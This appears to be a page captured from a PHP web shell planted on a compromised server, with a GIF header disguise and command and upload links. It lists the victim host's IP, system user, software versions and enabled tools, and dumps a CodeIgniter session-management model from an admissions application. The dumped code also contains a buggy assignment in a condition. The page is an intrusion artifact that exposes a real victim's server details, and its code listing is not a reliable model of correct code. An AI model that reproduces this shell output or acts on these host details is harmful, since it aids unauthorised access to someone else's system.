GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.189.143.1
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/application/core/../models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/application/core/../models/admin/SessionManagement.php
<?php

/**
 * Description of SessionManagement
 *
 * @author Softpro India Pvt. Ltd
 */
class SessionManagement extends CI_Model {

    function getSessions($session_active_status = '', $session_delete_status = '',$order='DESC') {
        $this->db->select("*");
        $this->db->from("tbl_session_master");
        if ($session_active_status = '') {
            $this->db->where("session_active_status", $session_active_status);
        }
        if ($session_delete_status != '') {
            $this->db->where("session_delete_status", $session_delete_status);
        }
        $this->db->order_by("session_added_on", $order);
        return $this->db->get();
    }

    function getCurrentSessionDetails() {
        $this->db->select("*");
        $this->db->from("tbl_session_master");
        $this->db->where("session_status","C");
        return $this->db->get();
    }

    function getNonDeletedActiveSessions(array $session_status = []) {
        $this->db->select("*");
        $this->db->from('tbl_session_master TSM');
        $this->db->where('TSM.session_active_status', 'T');
        $this->db->where('TSM.session_delete_status', 'F');
        if (sizeof($session_status)) {
            $this->db->where_in("TSM.session_status", $session_status);
        }
        $this->db->order_by("TSM.session_name", "ASC");
        return $this->db->get();
    }
}

KBHT - 2023